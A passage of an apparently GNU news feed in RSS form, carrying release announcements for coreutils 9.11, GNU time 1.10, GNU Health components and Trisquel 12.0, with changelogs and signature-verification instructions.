  SHA256 (coreutils-9.11.tar.xz) = OUAk7aCllVIXztqc0SAeZdyPo6opwpURNaSVIdV8PMM=&lt;br /&gt;
  SHA3-256 (coreutils-9.11.tar.xz) = RkpNMip8O4ly+z3Fef9X20AsotbT1ycBZ5UbG84SiNM=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify coreutils-9.11.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/0xDF6FD971306037D9 2011-09-23 [SC]&lt;br /&gt;
        Key fingerprint = 6C37 DC12 121A 5006 BC1D  B804 DF6F D971 3060 37D9&lt;br /&gt;
  uid                   [ultimate] Pádraig Brady &amp;lt;P@draigBrady.com&amp;gt;&lt;br /&gt;
  uid                   [ultimate] Pádraig Brady &amp;lt;pixelbeat@gnu.org&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key P@draigBrady.com&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys DF6FD971306037D9&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=coreutils&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify coreutils-9.11.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the coreutils git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/coreutils.git&lt;br /&gt;
&lt;br /&gt;
with commit c01fd163a47468a8296fb369f5233853bb551bb6 tagged as v9.11.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.11&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned coreutils directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v9.10..v9.11&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.73.1-b400b&lt;br /&gt;
  Automake 1.18.1&lt;br /&gt;
  Gnulib 2026-04-19 fb7312fa8d3df29f0ca0678f669b9a5b88a078ec&lt;br /&gt;
  Bison 3.8.2&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 9.11 (2026-04-20) [stable]&lt;br /&gt;
&lt;br /&gt;
** Bug fixes&lt;br /&gt;
&lt;br /&gt;
  'dd' now always diagnoses partial writes correctly upon write failure.&lt;br /&gt;
  Previously it may have indicated that only full writes were performed.&lt;br /&gt;
  [This bug was present in "the beginning".]&lt;br /&gt;
&lt;br /&gt;
  'fold' will no longer truncate output when encountering 0xFF bytes.&lt;br /&gt;
  [bug introduced in coreutils-9.8]&lt;br /&gt;
&lt;br /&gt;
  'fold' is again responsive to its input.  Previously it would have delayed&lt;br /&gt;
  processing until 256KiB was read from the input.&lt;br /&gt;
  [bug introduced in coreutils-9.8]&lt;br /&gt;
&lt;br /&gt;
  'kill --help' now has links to valid anchors in the html manual.&lt;br /&gt;
  [bug introduced in coreutils-9.10]&lt;br /&gt;
&lt;br /&gt;
  When configured with --enable-systemd, the commands 'pinky',&lt;br /&gt;
  'uptime', 'users', and 'who' no longer consider the systemd session&lt;br /&gt;
  classes 'greeter', 'lock-screen', 'background', 'background-light',&lt;br /&gt;
  and 'none' to be users.&lt;br /&gt;
  [bug introduced in coreutils-9.4]&lt;br /&gt;
&lt;br /&gt;
  'pwd' on ancient systems will no longer overflow a buffer&lt;br /&gt;
  when operating in deep paths longer than twice the system PATH_MAX.&lt;br /&gt;
  [bug introduced in coreutils-9.6]&lt;br /&gt;
&lt;br /&gt;
  'stat --printf=%%N' no longer performs unnecessary checks of the QUOTING_STYLE&lt;br /&gt;
  environment variable.&lt;br /&gt;
  [bug introduced in coreutils-8.26]&lt;br /&gt;
&lt;br /&gt;
  'timeout' no longer exits abruptly when its parent is the init process, e.g.,&lt;br /&gt;
  when started by the entrypoint of a container.&lt;br /&gt;
  [bug introduced in coreutils-9.10]&lt;br /&gt;
&lt;br /&gt;
** New Features&lt;br /&gt;
&lt;br /&gt;
  'cut' now supports multi-byte input and delimiters.  Consequently&lt;br /&gt;
  the -c option is now honored, and no longer an alias for -b, and&lt;br /&gt;
  the -n option is now honored, and no longer ignored.&lt;br /&gt;
  Also the -d option supports multi-byte delimiters.&lt;br /&gt;
&lt;br /&gt;
  'cut' adds new options for better compatibility:&lt;br /&gt;
  The -w,--whitespace-delimited option was added to support blank aligned fields&lt;br /&gt;
  and for better compatibility with FreeBSD/macOS.&lt;br /&gt;
  The -O option was added as an alias for the --output-delimiter option,&lt;br /&gt;
  for better compatibility with busybox/toybox.&lt;br /&gt;
  The -F option was added as an alias for -w -O ' '&lt;br /&gt;
  for better compatibility with busybox/toybox.&lt;br /&gt;
&lt;br /&gt;
  'date --date' now parses dot delimited dd.mm.yy format common in Europe.&lt;br /&gt;
  This is in addition to the already supported mm/dd/yy and yy-mm-dd formats.&lt;br /&gt;
&lt;br /&gt;
** Changes in behavior&lt;br /&gt;
&lt;br /&gt;
  'cksum --check' now uses shell quoting when required, to more robustly&lt;br /&gt;
  escape file names output in diagnostics.&lt;br /&gt;
  This also affects md5sum, sha*sum, and b2sum.&lt;br /&gt;
&lt;br /&gt;
** Improvements&lt;br /&gt;
&lt;br /&gt;
  'cat' now uses zero-copy I/O on Linux when appropriate, to improve throughput.&lt;br /&gt;
  E.g., throughput improved 6x from 12.9GiB/s to 81.8GiB/s on a Power10 system.&lt;br /&gt;
&lt;br /&gt;
  'df --local' recognises more file system types as remote.&lt;br /&gt;
  Specifically: autofs, ncpfs, smb, smb2, gfs, gfs2, userlandfs.&lt;br /&gt;
&lt;br /&gt;
  'df' improves duplicate mount suppression, by checking each mount against&lt;br /&gt;
  all previously kept entries for the same device, not just the latest one.&lt;br /&gt;
&lt;br /&gt;
  'expand' and 'unexpand' now support multi-byte characters.&lt;br /&gt;
&lt;br /&gt;
  'groups' and 'id' will now exit sooner after a write error,&lt;br /&gt;
  which is significant when listing information for many users.&lt;br /&gt;
&lt;br /&gt;
  'install' now allows the combination of the --compare and&lt;br /&gt;
  --preserve-timestamps options.&lt;br /&gt;
&lt;br /&gt;
  'fold', 'join', 'numfmt', 'uniq' now use more consistent blank character&lt;br /&gt;
  determination on non GLIBC platforms.  For example \u3000 (ideographic space)&lt;br /&gt;
  will be considered a blank character on all platforms.&lt;br /&gt;
&lt;br /&gt;
  'nl' now supports multi-byte --section-delimiter characters.&lt;br /&gt;
&lt;br /&gt;
  'shuf -i' now operates up to two times faster on systems with unlocked stdio&lt;br /&gt;
  functions.&lt;br /&gt;
&lt;br /&gt;
  'tac' will now exit sooner after a write error, which is significant when&lt;br /&gt;
  operating on a file with many lines.&lt;br /&gt;
&lt;br /&gt;
  'timeout' now properly detects when it is reparented by a subreaper process on&lt;br /&gt;
  Linux instead of init, e.g., the 'systemd --user' process.&lt;br /&gt;
&lt;br /&gt;
  'wc -l' now operates up to four and a half times faster on hosts that support&lt;br /&gt;
  Neon instructions.&lt;br /&gt;
&lt;br /&gt;
  'wc -m' now operates up to 2.6 times faster on GLIBC when processing&lt;br /&gt;
  non-ASCII UTF-8 characters.&lt;br /&gt;
&lt;br /&gt;
  'yes' now uses zero-copy I/O on Linux to significantly increase throughput.&lt;br /&gt;
  E.g., throughput improved 15x from 11.6GiB/s to 175GiB/s on a Power10 system.&lt;br /&gt;
&lt;br /&gt;
** Build-related&lt;br /&gt;
&lt;br /&gt;
  ./configure --enable-single-binary=hardlinks is now supported on systems&lt;br /&gt;
  with dash as the system shell at /bin/sh.&lt;br /&gt;
  [issue introduced in coreutils-9.10]&lt;br /&gt;
&lt;br /&gt;
  The test suite may have failed with a "Hangup" error if run non-interactively.&lt;br /&gt;
  [issue introduced in coreutils-9.10]&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Mon, 20 Apr 2026 14:10:56 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health GTK client 5.0.2 released</title>
	<guid>https://savannah.gnu.org/news/?id=10883</guid>
	<link>https://savannah.gnu.org/news/?id=10883</link>
     <description>  &lt;p&gt;Dear community
&lt;br /&gt;

&lt;br /&gt;
The GTK client 5.0.2 of the GNU Health Hospital and Health Management system has been released!
&lt;br /&gt;

&lt;br /&gt;
This is a maintenance patchset that fixes the following issues:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unknown icon error when registering gnu health local icons
&lt;/li&gt;
&lt;li&gt;Swapped Export - import icons
&lt;/li&gt;
&lt;li&gt;Update connection port number in README file
&lt;/li&gt;
&lt;li&gt;GNU Health GTK client does not automatically discover plugins from gnuhealth_plugins
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
You can get the latest GNU Health client from GNU.org, Python Package Index or Codeberg.
&lt;br /&gt;

&lt;br /&gt;
Happy hacking!&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Mon, 20 Apr 2026 08:03:25 +0000</pubDate>

</item> 
<item>
	<title>GNU Taler news: Taler lecture at Cedarcrypt 2026</title>
	<guid>https://taler.net/en/news/2026-06.html</guid>
	<link>https://taler.net/en/news/2026-06.html</link>
     <description>  &lt;article&gt;
             by Özgür Kesim
           &lt;/article&gt; </description> 
	<pubDate>Sat, 18 Apr 2026 13:49:06 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: Thalamus 0.9.18 released</title>
	<guid>https://savannah.gnu.org/news/?id=10882</guid>
	<link>https://savannah.gnu.org/news/?id=10882</link>
     <description>  &lt;p&gt;Dear GNU Health community
&lt;br /&gt;

&lt;br /&gt;
We are happy to announce the release of Thalamus 0.9.18. Thalamus is the message and authentication server of the GNU Health Federation.
&lt;br /&gt;

&lt;br /&gt;
In this release, we have migrated to Poetry packaging system and updated the documentation (&lt;a href="https://docs.gnuhealth.org/thalamus"&gt;https://docs.gnuh ... alth.org/thalamus&lt;/a&gt;)
&lt;br /&gt;

&lt;br /&gt;
You can get Thalamus from GNU.org and the Python Package Index, PyPi
&lt;br /&gt;

&lt;br /&gt;
Happy hacking!
&lt;br /&gt;
Luis&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Fri, 17 Apr 2026 11:30:43 +0000</pubDate>

</item> 
<item>
	<title>FSF Blogs: You cannot use the GNU (A)GPL to take software freedom away</title>
	<guid>http://www.fsf.org/blogs/licensing/agpl-is-not-a-tool-for-taking-freedom-away</guid>
	<link>http://www.fsf.org/blogs/licensing/agpl-is-not-a-tool-for-taking-freedom-away</link>
     <description>  Protecting the integrity of the (A)GPL is an essential component in 
protecting user freedom. </description> 
	<pubDate>Wed, 15 Apr 2026 16:05:00 +0000</pubDate>

</item> 
<item>
	<title>time @ Savannah: time-1.10 released [stable]</title>
	<guid>https://savannah.gnu.org/news/?id=10881</guid>
	<link>https://savannah.gnu.org/news/?id=10881</link>
     <description>  &lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class="verbatim"&gt;&lt;p&gt; This is to announce time-1.10, a stable release.&lt;br /&gt;
&lt;br /&gt;
The 'time' command runs another program, then displays information about&lt;br /&gt;
the resources used by that program.&lt;br /&gt;
&lt;br /&gt;
There have been 79 commits by 5 people in the 422 weeks since 1.9.&lt;br /&gt;
&lt;br /&gt;
See the NEWS below for a brief summary.&lt;br /&gt;
&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Andreas Schwab (1)&lt;br /&gt;
  Assaf Gordon (10)&lt;br /&gt;
  Collin Funk (65)&lt;br /&gt;
  Dominique Martinet (1)&lt;br /&gt;
  Petr Písař (2)&lt;br /&gt;
&lt;br /&gt;
Collin&lt;br /&gt;
 [on behalf of the time maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU time home page:&lt;br /&gt;
    https://gnu.org/s/time/&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.gz   (832KB)&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.xz   (572KB)&lt;br /&gt;
&lt;br /&gt;
Here are the GPG detached signatures:&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.gz.sig&lt;br /&gt;
  https://ftp.gnu.org/gnu/time/time-1.10.tar.xz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  SHA256 (time-1.10.tar.gz) = 6MKftKtZnYR45B6GGPUNuK7enJCvJ9DS7yiuUNXeCcM=&lt;br /&gt;
  SHA3-256 (time-1.10.tar.gz) = zDjyfyzfABsSZp7lwXeYr368VzjZMkNPUJNnfpIakGk=&lt;br /&gt;
  SHA256 (time-1.10.tar.xz) = cGv3uERMqeuQN+ntoY4dDrfCMnrn2MLOOkgjxfgMexE=&lt;br /&gt;
  SHA3-256 (time-1.10.tar.xz) = U/Z0kMenoHkc7+rkCHMeyku8nXvIPppoQ2jq3B50e/A=&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA256 checksum with 'cksum -a sha256 --check'&lt;br /&gt;
from coreutils-9.2 or OpenBSD's cksum since 2007.&lt;br /&gt;
&lt;br /&gt;
Verify the base64 SHA3-256 checksum with 'cksum -a sha3 --check'&lt;br /&gt;
from coreutils-9.8.&lt;br /&gt;
&lt;br /&gt;
Use a .sig file to verify that the corresponding file (without the&lt;br /&gt;
.sig suffix) is intact.  First, be sure to download both the .sig file&lt;br /&gt;
and the corresponding tarball.  Then, run a command like this:&lt;br /&gt;
&lt;br /&gt;
  gpg --verify time-1.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
The signature should match the fingerprint of the following key:&lt;br /&gt;
&lt;br /&gt;
  pub   rsa4096/8CE6491AE30D7D75 2024-03-11 [SC]&lt;br /&gt;
        Key fingerprint = 2371 1855 08D1 317B D578  E5CC 8CE6 491A E30D 7D75&lt;br /&gt;
  uid                 [ultimate] Collin Funk &amp;lt;collin.funk1@gmail.com&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If that command fails because you don't have the required public key,&lt;br /&gt;
or that public key has expired, try the following commands to retrieve&lt;br /&gt;
or refresh it, and then rerun the 'gpg --verify' command.&lt;br /&gt;
&lt;br /&gt;
  gpg --locate-external-key collin.funk1@gmail.com&lt;br /&gt;
&lt;br /&gt;
  gpg --recv-keys 8CE6491AE30D7D75&lt;br /&gt;
&lt;br /&gt;
  wget -q -O- 'https://savannah.gnu.org/project/release-gpgkeys.php?group=time&amp;amp;download=1' | gpg --import -&lt;br /&gt;
&lt;br /&gt;
As a last resort to find the key, you can try the official GNU&lt;br /&gt;
keyring:&lt;br /&gt;
&lt;br /&gt;
  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg&lt;br /&gt;
  gpg --keyring gnu-keyring.gpg --verify time-1.10.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
This release is based on the time git repository, available as&lt;br /&gt;
&lt;br /&gt;
  git clone https://https.git.savannah.gnu.org/git/time.git&lt;br /&gt;
&lt;br /&gt;
with commit 40003f3c8c4ad129fbc9ea0751c651509ac5bb23 tagged as v1.10.&lt;br /&gt;
&lt;br /&gt;
For a summary of changes and contributors, see:&lt;br /&gt;
&lt;br /&gt;
  https://gitweb.git.savannah.gnu.org/gitweb/?p=time.git;a=shortlog;h=v1.10&lt;br /&gt;
&lt;br /&gt;
or run this command from a git-cloned time directory:&lt;br /&gt;
&lt;br /&gt;
  git shortlog v1.9..v1.10&lt;br /&gt;
&lt;br /&gt;
This release was bootstrapped with the following tools:&lt;br /&gt;
  Autoconf 2.73&lt;br /&gt;
  Automake 1.18.1&lt;br /&gt;
  Gnulib 2026-04-13 c754c51f0f2b9a1e22d0d3eadfefff241de0ea48&lt;br /&gt;
&lt;br /&gt;
NEWS&lt;br /&gt;
&lt;br /&gt;
* Noteworthy changes in release 1.10 (2026-04-14) [stable]&lt;br /&gt;
&lt;br /&gt;
** Bug fixes&lt;br /&gt;
&lt;br /&gt;
  'time --help' no longer incorrectly lists the short option -h as being&lt;br /&gt;
  supported.  Previously it was listed as being equivalent to --help.&lt;br /&gt;
  [bug introduced in time-1.8]&lt;br /&gt;
&lt;br /&gt;
  'time --help' no longer emits duplicate percent signs in the description of&lt;br /&gt;
  the --portability option.&lt;br /&gt;
  [bug introduced in time-1.8]&lt;br /&gt;
&lt;br /&gt;
  time now opens the file specified by --output with its close-on-exec flag set.&lt;br /&gt;
  Previously the file descriptor would be leaked into the child process.&lt;br /&gt;
  [This bug was present in "the beginning".]&lt;br /&gt;
&lt;br /&gt;
  time no longer appends the program name to the output when the format string&lt;br /&gt;
  contains a trailing backslash.&lt;br /&gt;
  [This bug was present in "the beginning".]&lt;br /&gt;
&lt;br /&gt;
** Improvements&lt;br /&gt;
&lt;br /&gt;
  time now uses the more portable waitpid and getrusage system calls&lt;br /&gt;
  instead of wait3.&lt;br /&gt;
&lt;br /&gt;
  time can now be built using a C23 compiler.&lt;br /&gt;
&lt;br /&gt;
  time now uses unlocked stdio functions on platforms that provide them.&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Wed, 15 Apr 2026 04:34:19 +0000</pubDate>

</item> 
<item>
	<title>health @ Savannah: GNU Health HIS server 5.0.7 patchset bundle released</title>
	<guid>https://savannah.gnu.org/news/?id=10880</guid>
	<link>https://savannah.gnu.org/news/?id=10880</link>
     <description>  &lt;p&gt;Dear community
&lt;br /&gt;

&lt;br /&gt;
I'm happy to announce the release of the patchset v5.0.7 of the GNU Health Information Management System.
&lt;br /&gt;

&lt;br /&gt;
This maintenance version fixes issues in the crypto subsystem related to the laboratory results validation process; delivers automated testing for the packages and updates pyproject.toml to the latest PEP639 specs. 
&lt;br /&gt;

&lt;br /&gt;
Main issues fixed &amp;amp; tasks related to this patchset:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;health_crypto_lab: Wrong display of the validation button and 403 error  (&lt;a href="https://codeberg.org/gnuhealth/his/issues/177"&gt;https://codeberg. ... th/his/issues/177&lt;/a&gt;)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update woodpecker CI and packages automated tests (thanks, Cedric!). (&lt;a href="https://codeberg.org/gnuhealth/his/commit/5decf55f83fda9e98588dbe5c11eda152df82dbf"&gt;https://codeberg. ... 5c11eda152df82dbf&lt;/a&gt;)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Update pyproject.toml to PEP639 project.license current specification (&lt;a href="https://codeberg.org/gnuhealth/his/issues/178"&gt;https://codeberg. ... th/his/issues/178&lt;/a&gt;)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
For more details visit our development area at Codeberg.
&lt;br /&gt;

&lt;br /&gt;
Happy hacking!
&lt;br /&gt;
Luis&lt;br /&gt;
&lt;/p&gt; </description> 
	<pubDate>Sat, 11 Apr 2026 21:12:18 +0000</pubDate>

</item> 
<item>
	<title>Trisquel GNU/Linux: Trisquel 12.0 "Ecne" release announcement</title>
	<guid>31762 at https://trisquel.info</guid>
	<link>https://trisquel.info/en/trisquel-120-ecne-release-announcement</link>
     <description>  &lt;p&gt;We are proud to announce the release of Trisquel 12.0 &lt;strong&gt;Ecne&lt;/strong&gt;! After extensive work and thorough testing, &lt;em&gt;Ecne&lt;/em&gt; is ready for production use. This release builds on the foundation of &lt;em&gt;Aramo&lt;/em&gt; with meaningful improvements across packaging, the kernel, security, and software availability.&lt;/p&gt;


&lt;h2 id="toc0"&gt;Major milestones&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;APT 3.0 and full deb822 repository format&lt;/strong&gt;. Trisquel 12.0 ships with APT 3.0, enabling us to fully adopt the modern deb822 repository format across all installation paths. The &lt;em&gt;netinstall&lt;/em&gt; (for text-based installation and advanced users), &lt;em&gt;Ubiquity&lt;/em&gt; (for graphical installation from a live system), as well as &lt;em&gt;Synaptic&lt;/em&gt; and other package-management tools have been updated to use the new repository formats.&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;Improved kernel modularity, and system security&lt;/strong&gt;. The kernel remains one of our biggest engineering challenges with every release. For &lt;em&gt;Ecne&lt;/em&gt;, we focused on making our kernel changes more modular, substantially reducing breakage in the udeb components used during installation. Work on updating &lt;em&gt;kernel-wedge&lt;/em&gt; is ongoing and we are well positioned to complete it. We revised many &lt;em&gt;AppArmor&lt;/em&gt; rules for graphical environments, improving security coverage for everyday desktop use.&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;New browser options&lt;/strong&gt;. Both &lt;strong&gt;GNU IceCat&lt;/strong&gt; and &lt;strong&gt;ungoogled-chromium&lt;/strong&gt; are now available in &lt;em&gt;Ecne&lt;/em&gt;, joining our continuously maintained &lt;strong&gt;Abrowser&lt;/strong&gt;, giving users a range of fully free web browsing choices.&lt;/li&gt;
&lt;/ul&gt;

&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;Backports&lt;/strong&gt;. Our backports repository continues to provide popular applications in their latest versions, including &lt;strong&gt;LibreOffice&lt;/strong&gt;, &lt;strong&gt;yt-dlp&lt;/strong&gt;, &lt;strong&gt;Inkscape&lt;/strong&gt;, &lt;strong&gt;Nextcloud Desktop&lt;/strong&gt;, &lt;strong&gt;Kdenlive&lt;/strong&gt;, &lt;strong&gt;Tuba&lt;/strong&gt;, &lt;strong&gt;0 A.D.&lt;/strong&gt;, &lt;strong&gt;fastfetch&lt;/strong&gt;, and more.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Ecne&lt;/em&gt; is based on Ubuntu 24.04 LTS and will receive support until 2029. Users of Trisquel 11.x &lt;em&gt;Aramo&lt;/em&gt; can upgrade directly using the update-manager or do-release-upgrade commands at a console terminal.&lt;/p&gt;


&lt;h2 id="toc1"&gt;Editions&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt; &lt;strong&gt;Trisquel&lt;/strong&gt;. MATE (v1.26.1) continues to be our default desktop environment. Simple, with great accessibility, and low hardware requirements (no 3D acceleration needed).&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Triskel&lt;/strong&gt;. Our KDE (v5.27) edition is excellent for customizing the design and functionality in fine detail.&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Trisquel Mini&lt;/strong&gt;. Running LXDE (v0.99.2), the Mini edition is a lightweight desktop perfect for netbooks, old computers and users with minimal resource usage needs.&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Trisquel Sugar&lt;/strong&gt; or Trisquel On A Sugar Toast (&lt;strong&gt;TOAST&lt;/strong&gt;): Based on the Sugar learning platform (v0.121), TOAST comes with dozens of educational activities for children.&lt;/li&gt;
    &lt;li&gt; &lt;strong&gt;Network installer image&lt;/strong&gt;: To deploy with a command-line install interface, it is ideal for servers and advanced users who want to explore custom designed environments.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2 id="toc2"&gt;Looking ahead&lt;/h2&gt;
&lt;p&gt;Work on the next release will start immediately, and initial groundwork for &lt;strong&gt;RISC-V architecture support&lt;/strong&gt; has already begun; an exciting new challenge as the free hardware design ecosystem continues to grow.&lt;/p&gt;

&lt;p&gt;Trisquel is a non-profit project; you can help sustain it by becoming a &lt;a href="https://trisquel.info/member"&gt;member&lt;/a&gt;, &lt;a href="https://trisquel.info/donate"&gt;donating&lt;/a&gt;, or buying from our &lt;a href="https://trisquel.info/store"&gt;store&lt;/a&gt;. Thank you to all our donors, and to the contributors who made &lt;em&gt;Ecne&lt;/em&gt; possible through code, patches, bug reports, translations, and advice. Special thanks to Luis "Ark74" Guzmán, prospero, icarolongo, Avron, knife, Simon Josefsson, Christopher Waid (ThinkPenguin), Denis "GNUtoo" Carikli, and the wonderful community that keeps the project alive and free.&lt;/p&gt;

&lt;div class="field field-type-filefield field-field-screenshots"&gt;
    &lt;div class="field-items"&gt;
            &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-mate-desktop_0.png"&gt;&lt;img alt="Mate Desktop" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-mate-desktop_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-internet_0.png"&gt;&lt;img alt="Internet" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-internet_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-games_0.png"&gt;&lt;img alt="Games" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-games_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-system_0.png"&gt;&lt;img alt="System tools" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-system_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-installer_0.png"&gt;&lt;img alt="Installer" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-installer_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-office_0.png"&gt;&lt;img alt="Office" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-office_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-triskel_0.png"&gt;&lt;img alt="Triskel (KDE Plasma)" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-triskel_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-trisquel-mini_0.png"&gt;&lt;img alt="Trisquel Mini (LXDE)" class="imagecache imagecache-thumbnail" height="84" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-trisquel-mini_0.png" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item odd"&gt;
                    &lt;a class="imagecache imagecache-thumbnail imagecache-imagelink imagecache-thumbnail_imagelink" href="https://trisquel.info/files/screenshots/ecne-sugar_0.jpg"&gt;&lt;img alt="Sugar education environment" class="imagecache imagecache-thumbnail" height="113" src="https://trisquel.info/files/imagecache/thumbnail/screenshots/ecne-sugar_0.jpg" title="" width="150" /&gt;&lt;/a&gt;        &lt;/div&gt;
              &lt;div class="field-item even"&gt;
